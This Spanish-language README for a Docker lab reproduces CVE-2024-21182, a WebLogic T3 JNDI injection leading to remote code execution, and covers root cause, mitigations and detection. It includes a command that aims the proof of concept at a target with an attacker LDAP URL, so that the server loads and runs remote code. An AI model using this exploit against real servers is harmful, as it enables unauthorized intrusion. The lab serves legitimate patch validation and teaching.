CVE-2024-21182 — Inyección JNDI T3/IIOP en Oracle WebLogic Server → RCE (laboratorio)

Un laboratorio Docker autónomo y de un solo comando para reproducir y validar la familia de vulnerabilidades de inyección JNDI OpaqueReference de Oracle WebLogic Server (CVE-2024-21182, un bypass de parche de CVE-2023-21839) y convertirla en ejecución remota de código no autenticada.

⚠️ Solo para investigación de seguridad autorizada, educación y validación de parches. Consulta el DISCLAIMER. Ejecútalo únicamente contra este laboratorio o sistemas que poseas.

Qué demuestra esto

CVE-2024-21182 es una vulnerabilidad no autenticada en el componente Core de Oracle WebLogic Server, accesible a través de los protocolos T3 / IIOP (puerto predeterminado 7001). Permite a un atacante vincular un objeto "referencia" manipulado en el árbol JNDI del servidor y desencadenar una búsqueda JNDI del lado del servidor contra una URL controlada por el atacante — inyección JNDI clásica que escala a RCE.

Causa raíz

Un objeto de referencia de WebLogic se resuelve del lado del servidor durante lookup() mediante una ObjectFactory que realiza una búsqueda JNDI anidada contra una URL proporcionada por el atacante:

weblogic.jndi.internal.WLContextImpl.lookup
 → javax.naming.spi.NamingManager.getObjectInstance
   → weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
     → weblogic.application.naming.MessageDestinationReference.lookupMessageDestination  (line 62)
       → new InitialContext().lookup( ldap://attacker/… )      ← attacker-controlled, server-side

CVE-2023-21839 llegaba a esto a través de weblogic.jndi.internal.ForeignOpaqueReference, que Oracle posteriormente protegió. CVE-2024-21182 sortea esa protección al alcanzar la misma búsqueda externa mediante weblogic.ejb.container.internal.AggregatableOpaqueReference, cuyo campo privado referent se establece de forma reflectiva a un weblogic.application.naming.MessageDestinationReference.

⚠️ Importante: imagen del laboratorio vs. versiones listadas en el CVE

Este laboratorio usa vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3, con JDK 1.8.0_151 incluido) porque es la única imagen vulnerable de WebLogic redistribuible libremente; las versiones que CVE-2024-21182 lista formalmente (12.2.1.4.0 / 14.1.1.0.0) requieren una licencia de Oracle y no pueden publicarse aquí.

Consecuencias, en términos honestos:

• El laboratorio reproduce fielmente la clase de vulnerabilidad de inyección JNDI OpaqueReference → RCE, ejercitada con las clases gadget exactas de CVE-2024-21182 (AggregatableOpaqueReference + MessageDestinationReference).
• No demuestra la propiedad de patch-bypass en sí: 12.2.1.3 es anterior a la lista negra de CVE-2023-21839, por lo que no hay parche que sortear en esta imagen. Para demostrar el bypass específicamente necesitas una compilación 12.2.1.4 con licencia parcheada hasta justo antes del CPU de octubre de 2024.
• Parte del RCE: funciona aquí porque JDK 1.8.0_151 es anterior a 8u191 y com.sun.jndi.ldap.object.trustURLCodebase=true está activado por defecto (carga de clases desde codebase remoto). En JDK modernos la inyección sigue disparándose (SSRF), pero el RCE requiere un gadget ya presente en el classpath de WebLogic en lugar de un codebase remoto.

Inicio rápido

Requisitos: Docker + Docker Compose v2. Descarga de imagen de ~3 GB. En Apple Silicon la imagen se ejecuta bajo emulación linux/amd64 (arranque en frío más lento, 2–5 min).

git clone <this-repo>
cd CVE-2024-21182-lab
docker compose up -d        # starts: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh               # waits for boot, fires the exploit, prints PASS/FAIL

Salida esperada al final de ./validate.sh:

[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)

Para apagar el laboratorio:

docker compose down

Cómo funciona (las partes implicadas)

                 t3://weblogic:7001                         ldap://attacker:1389/Evil
  PoC client  ───────────────────────►  WebLogic  ──────────────────────────────►  attacker (LDAP)
 (in weblogic     bind() + lookup()      (victim)      server-side JNDI lookup        returns Reference
  container)                                                                          {javaCodeBase=http://attacker:8888/}
                                              │                                              │
                                              └──────────  GET /Exploit.class  ◄─────────────┘  (HTTP codebase)
                                                           loads + instantiates → static{} runs `id`

• poc/CVE_2024_21182.java — el cliente T3. Construye el AggregatableOpaqueReference malicioso, hace bind() y luego lookup() para desencadenar la resolución del lado del servidor. Parametrizado: <t3-host:port> <ldap-url>. Se compila dentro del contenedor de WebLogic mediante validate.sh porque las clases gadget viven en el conjunto completo de módulos de WebLogic (no en el cliente ligero redistribuible), por lo que aquí no se distribuyen jars de Oracle.
• exploit/ldap_server.py — servidor LDAP malicioso mínimo que devuelve una Reference JNDI junto con un servidor HTTP que aloja la clase factory. Se ejecuta en el contenedor attacker, accesible desde WebLogic por el nombre de servicio attacker.
• exploit/Exploit.java / Exploit.class — la factory del payload (bytecode de Java 8). Su inicializador estático ejecuta / y escribe la salida en dentro de la víctima. Inofensivo por diseño; edítalo y ejecuta para cambiar el comando.

La ClassCastException (Exploit cannot be cast to ObjectFactory) que verás es esperada y cosmética: ocurre después de que el inicializador estático (el payload) ya se haya ejecutado.

Validar un objetivo parcheado / real

Apunta el PoC a cualquier endpoint T3 que estés autorizado a probar:

# from inside a host with the WebLogic thin client, or adapt validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil

• La inyección se dispara (se ve LDAP saliente), sin RCE → el JDK tiene trustURLCodebase=false; aún tienes SSRF, y el RCE puede ser posible mediante un gadget en el classpath.
• No se dispara nada → la ruta de OpaqueReference está parcheada (CPU de octubre de 2024 aplicado).

Mitigación

• Parche — aplica el Critical Patch Update de Oracle de octubre de 2024.
• Red — restringe T3/IIOP (7001) con filtros de conexión de WebLogic (weblogic.security.net.ConnectionFilterImpl) y cortafuegos del host.
• JDK — mantén com.sun.jndi.ldap.object.trustURLCodebase=false (valor predeterminado en JDK actuales); rompe la parte RCE del codebase remoto (no la parte de inyección).
• Detección — LDAP/RMI/DNS saliente desde la JVM de WebLogic hacia hosts no permitidos; procesos hijo inesperados del proceso de WebLogic; bind T3 de tipos *OpaqueReference.

Créditos y referencias

• Gadget PoC público: k4it0k1d/CVE-2024-21182
• Imagen vulnerable: vulhub (weblogic/CVE-2023-21839)
• Antecedentes: avisos de CPU de Oracle; investigación de CVE-2023-21839 (familia OpaqueReference de WebLogic)

DISCLAIMER

Este proyecto se publica para pruebas de seguridad autorizadas, validación defensiva y educación. El software vulnerable se ejecuta en un laboratorio Docker aislado. No uses estas técnicas contra sistemas que no poseas o que no estés autorizado explícitamente a probar. Los autores no aceptan ninguna responsabilidad por el mal uso. Consulta LICENSE.